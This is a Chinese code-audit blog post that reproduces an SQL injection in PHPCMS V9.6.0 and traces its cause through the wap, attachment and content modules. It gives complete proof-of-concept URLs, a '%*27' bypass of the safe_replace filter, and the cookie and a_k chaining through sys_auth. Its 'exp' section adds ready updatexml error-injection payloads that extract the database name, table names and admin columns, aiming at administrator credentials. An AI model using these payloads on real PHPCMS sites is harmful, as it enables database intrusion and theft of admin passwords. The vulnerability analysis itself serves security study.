2-PHP代码审计——PHPCMSV9.6.0 sql注入漏洞
PHPCMSV9.6.0 wap模块sql注入漏洞
漏洞环境:PHPCMSV9.6.0
实验环境的poc:
/index.php?m=wap&c=index&siteid=1
userid_flash=b3a3Dv_ICFSxJ_SDlQhbf6cdklSxsLje2RJwBTGknbusMO0
/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26
nQLyd_att_json=
/index.php?m=content&c=down&a_k=3c04zT3vBzWN-5KY9wJWSjAw-fa_vfUg41m3-qc2F_wvG4qpWXqypuWOX5npJl81T87DIfWU7kKgZqDNqDPmiLkdrDLszeLTn5YrzPqkz3kz-s6M8PTLFAA5n9l5MTU90VCTwFKKcaCUHaXT1h4GJKQFulKdSKDTsAa7zXnsDNj2q-0V5AE4Ir4
漏洞复现
把之前准备的poc(/index.php?m=wap&c=index&siteid=1)粘贴到地址栏,访问网址,开启burpsuite代理:
在burpsuite抓包软件中,右键Send to Repeater,修改数据包点击Go,如下所示:
服务器返回了一个cookie,udntD_siteid字段。
把udntD_siteid字段的值复制粘贴到userid_flash中:
userid_flash=4683sBPQGwA2ouyhewFlSKtPfoAV3d1qX5ts_-Yq
然后把GET请求改为POST请求,并把POST请求的数据改为如下所示:
/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26
服务器会返回一个cookie,cookie中有一个字段udntD_att_json是我们下一步要用到的。注意:如果返回的Response包报错,在Request请求包中加上content-Type:application/x-www-form-urlencoded
cookie中的udntD_att_json字段的值:
3c04zT3vBzWN-5KY9wJWSjAw-fa_vfUg41m3-qc2F_wvG4qpWXqypuWOX5npJl81T87DIfWU7kKgZqDNqDPmiLkdrDLszeLTn5YrzPqkz3kz-s6M8PTLFAA5n9l5MTU90VCTwFKKcaCUHaXT1h4GJKQFulKdSKDTsAa7zXnsDNj2q-0V5AE4Ir4
把post请求的uri改为如下,并把cookie中的这个字段的值复制粘贴到post提交的a_k中,如下所示:
/index.php?m=content&c=down&a_k=3c04zT3vBzWN-5KY9wJWSjAw-fa_vfUg41m3-qc2F_wvG4qpWXqypuWOX5npJl81T87DIfWU7kKgZqDNqDPmiLkdrDLszeLTn5YrzPqkz3kz-s6M8PTLFAA5n9l5MTU90VCTwFKKcaCUHaXT1h4GJKQFulKdSKDTsAa7zXnsDNj2q-0V5AE4Ir4
再提交POST请求,服务器的http数据包会把数据库的报错信息返回:
Response包返回的mysql错误信息中爆出了数据库phpcmsv96,还包括数据库的用户名和地址(root@localhost),我们推测mysql数据库报错的原因应该是POST请求的uri有问题。
为了验证我们的推测,进一步分析POST请求的uri:这个http请求访问了content模块下的down源文件。
分析down源文件:
down文件的init函数里用到了a_k参数,但是http请求并没有调用任何函数,也就是说down文件应该是自动调用的,分别在构造函数和init函数添加两行代码看是否自动调用。
把POST请求的URI改为/index.php?m=content&c=down
从返回的信息来看,down文件中的init函数确实是自动执行的,这里我们重点分析init函数
打开google浏览器,开启xdebug调试
init函数首先接收a_k的值,通过sys_auth函数解密,解密后如下所示:
{"aid":1,"src":"&id=%27 and updatexml(1,concat(1,(user())),1)#&m=1&f=haha&modelid=2&catid=7&","filename":""}
parse_str函数是对解密后的url进行解析并返回一个变量,最终获取到' and updatexml(1,concat(1,(user())),1)#这一部分:
updatexml在报错注入中经常用到的一个函数,继续跟踪代码分析后台是如何报错的。
接着调用了get_once函数:
public function get_one($data, $table, $where = '', $order = '', $group = '') {$where = $where == '' ? '' : ' WHERE '.$where;$order = $order == '' ? '' : ' ORDER BY '.$order;$group = $group == '' ? '' : ' GROUP BY '.$group;$limit = ' LIMIT 1';$field = explode( ',', $data);array_walk($field, array($this, 'add_special_char'));$data = implode(',', $field);$sql = 'SELECT '.$data.' FROM `'.$this->config['database'].'`.`'.$table.'`'.$where.$group.$order.$limit;$this->execute($sql);$res = $this->fetch_next();$this->free_result();return $res;
}
get_once函数里调用了execute函数执行了sql语句,最终导致mysql数据库报错。
漏洞复现完毕,梳理一下整个漏洞的利用流程:
第三步中漏洞利用的过程中sys_auth函数起到了很关键的作用,这里抛出一个问题:那么是谁调用了sys_auth函数解密?根据整个漏洞的利用过程,我们需要反过来分析第二步。
在phpstorm中找到attachment模块的attachments文件,分析swfupload_json函数:
swfupload_json函数会提取http请求的数据adi,src,filename存放到数组arr中(filename值为空是因为我们没有提交数据),调用json_encode对arr数组加密并转换成json数据格式json_str,然后调用set_cookie函数。
需要注意的是,http请求提交的src的值是:
%*27这样写的目的是为了绕过safe_replace函数的检测,%*27最终会匹配到*符号,过滤之后就成了%27(有兴趣的同学可以看下safe_replace函数的具体实现)
在set_cookie函数中调用了sys_auth函数进行加密,调用setcookie函数设置到cookie
其中udntD_att_json字段的内容就是json_str的值,这也就说的通第三步http请求$a_k的值了。
现在又有一个新的问题:为什么这里会设置cookie?带着问题,我们继续分析第一步,注意:第一步的http请求调用了wap模块的index.php
注意:index.php文件只执行了构造函数(没有执行init函数),第9行代码经过了连续的三目运算判断,siteid的值为1,接着调用了set_cookie函数,把siteid作为参数传入set_cookie函数。
继续跟踪set_cookie函数
set_cookie函数的参数siteid赋值给value,现在value的值为1,第91行的is_array函数会对value进行判断,因为value不是数组则会执行第96行代码设置setcookie,调用sys_auth函数加密。
到这里,整个漏洞的利用过程分析完毕,第二个问题也迎刃而解。
还有一个小问题,第二步提交的http请求中,带了userid_flas参数,可能有同学会不解,说明一下:其目的是第二步的构造函数需要验证userid,想了解的同学可以在第二步debug跟踪验证userid的流程,这里不再演示。
编写exp
仅用于技术交流和研究使用,切勿用作其他非法用途,希望大家遵守相关法律法规,坚决抵制任何违法犯罪活动。
获取数据库名
/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28database%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26/index.php?m=content&c=down&a_k=607cobRAvXw5UHTgmC8eAceaa2O3S1apFTjwplAg5jBLsUBBT9sqicAXHQNDFAV9wv_mcepgtWYsIz5zu-OegyNNWkdB96BgSgJ-GZhOaurd4CyCVUizrLJvtAvUo4TOKKaQ3msYlKdz20wDFFNq7cMZ7_d_Di-QHLnXk_ycxYi4uftkFMKcZqYbEw_l
获取数据库表名
/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%280x7e%2C%28select%20table_name%20from%20information_schema.tables%20where%20table_schema=database%28%29%20limit%200%2C1%29%29%2C3%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26/index.php?m=content&c=down&a_k=8f45ay4YrQQ5GMdkRzI5nao6f5erP_Rqn9l98OCdmFl4yJ8FKJEMTS_e7nE3OPfFtN_FCkk9VWHOzZEVrGNpF-AKRJWq4fwhM1yebyXRyuC5pJxOB-2eLlB9-SLMOHeD7ibIXKPsGFZ7Jwvd7ebr89kn1HSZlBqfluR87QEk631XiLrmpzZpKqUY88q0oAvTFAhr_rAP5lFE6h8eYQvRn6YyUmWFg6YmHc63g4jwyznko1Eq4a6jkSXqbz6z1YDB_RnL8g2GL5clhe7Kt3_Re66HMiRfI0GbvNcmUxOB
通过来控制limit函数的第一个参数,依次爆破数据库的每张表名,还有一种方式就是通过group_concat函数对数据库表名进行拼接。
最终爆破出存储管理员用户名和密码的表名v9_6admin
获取表字段
/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%280x7e%2C%28select%20group_concat%28column_name%29%20from%20information_schema.columns%20where%20table_schema=database%28%29%20and%20table_name=%*27v9_6admin%*27%29%29%2C3%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26/index.php?m=content&c=down&a_k=1494ZzfW09A5rCun4L9U7nB_Y_yRMI8rCLJL_CorQDIsVPI6P-47U0aDun95SdkcFXMvG42fpCMUjcD1ml5m8BaLfB6Bv2O7OPj34GV3E23ScaO5-N6DrOWfFhyQUKEHaO4QcsDpbrOyKn2UJum_WH4EVeQaMnMlcAh7wb-YsktlImMM6mEQGi4_yBZ1XyTUmyp15PfkiCntWCOh7X0A-05JtKEJcKMpBPVEmz8jB0RYSUYBtWMPP6Rh-WBUH-ryq_icLU5_1Is4uizNHtELKHhQBLzbL53taBuPQw6EnJPl15BaOcTqCjYc-x6FOpnCe4RIsfMZcP3OYVdU0xjia6hkwA
My SQL Error:爆出了v9_6admin表的所有字段。
通过字段,最终获取用户名和密码
2-PHP代码审计——PHPCMSV9.6.0 sql注入漏洞相关推荐
- php100漏洞,phpyun人才管理系统V5.0 SQL注入漏洞分析
*世界上最愚蠢的事莫过于我们无比狂热地做一件事,到最后却不知道为什么要做* cms背景介绍 PHP云人才管理系统(phpyun)是国内主流人才管理CMS系统之一!PHP云专为中文用户设计和开发,采用: ...
- WeiPHP5.0 SQL注入漏洞1
本博客已搬迁至:https://n0puple.github.io/ 此处不再更新文章 本文仅用于技术讨论与研究,文中的实现方法切勿应用在任何违法场景.如因涉嫌违法造成的一切不良影响,本文作者概不负责 ...
- 海豚php框架漏洞,代码审计 - dolphin.pro cms SQL注入漏洞,Bypass过滤规则
Dolphin是一个网络软件平台,你可以下载并使用它来建立你自己的利基社交网络.社区网站.在线俱乐部或基于兴趣的社交网站. 代码分析: 1./flash/modules/chat/inc/action ...
- 【原创】风讯DotNetCMS V1.0~V2.0 SQL注入漏洞
文章作者:rebeyond 注:文章首发I.S.T.O信息安全团队,后由原创作者友情提交到乌云-漏洞报告平台.I.S.T.O版权所有,转载需注明作者. 受影响版本:貌似都受影响. 漏洞文件:use ...
- PHPCMS V9.6.0 SQL注入漏洞EXP
运行于python3.5 import requests import time import re import sysdef banner():msg = '''--------------EXP ...
- espcms5.7.13 sql注入漏洞复现
espcms5.7.13 sql注入漏洞复现 作者: admin 时间: 2021-06-28 分类: 漏洞复现 使用代码审计工具自动审计,找到select语句,双击进入/adminsoft/cont ...
- 【代码审计】iCMS_v7.0.7 admincp.app.php页面存在SQL注入漏洞分析
0x00 环境准备 iCMS官网:https://www.icmsdev.com 网站源码版本:iCMS-v7.0.7 程序源码下载:https://www.icmsdev.com/downloa ...
- 【代码审计】iCMS_v7.0.7 apps.admincp.php页面存在SQL注入漏洞分析
0x00 环境准备 iCMS官网:https://www.icmsdev.com 网站源码版本:iCMS-v7.0.7 程序源码下载:https://www.icmsdev.com/downloa ...
- 【代码审计】iCMS_v7.0.7 search.admincp.php页面存在SQL注入漏洞
0x00 环境准备 iCMS官网:https://www.icmsdev.com 网站源码版本:iCMS-v7.0.7 程序源码下载:https://www.icmsdev.com/downloa ...
- 【代码审计】iCMS_v7.0.7 keywords.admincp.php页面存在SQL注入漏洞分析
0x00 环境准备 iCMS官网:https://www.icmsdev.com 网站源码版本:iCMS-v7.0.7 程序源码下载:https://www.icmsdev.com/downloa ...
最新文章
- python定时任务contrib_django+celery配置(定时任务+循环任务)
- linux字符设备led驱动源码,字符设备驱动控制LED灯
- 七个步骤,带你快速读懂 RPC 框架原理
- 微信公众平台开发入门教程[2019版]
- Java IO: 其他字符流(下)
- 1009 产生数 2002年NOIP全国联赛普及组
- (Docker实战) 第四篇:建立持续集成环境01
- JavaScript算法(实例九)整数的置换 / 求s=a+aa+aaa+aaaa+aa...a的值 / 自守数
- 下载OneDrive共享的数据集
- 小程序运行时相关信息
- 荣耀V40渲染图曝光 将搭载双曲面瀑布屏
- python程序打包_python之程序打包
- 如何直接删除mysql中的重复数据_如何删除mysql数据库中重复的数据(部分重复)?...
- 深圳php程序培训班,深圳php编程培训班哪几个好
- markdown引入代码_Markdown 插入代码
- Https网络安全传输详解
- JavaScript中的数组方法总结+详解
- 伴随着5G,这些机器人也来了!
- 如何降低APP运营成本?
- icloud备份微信聊天记录怎么恢复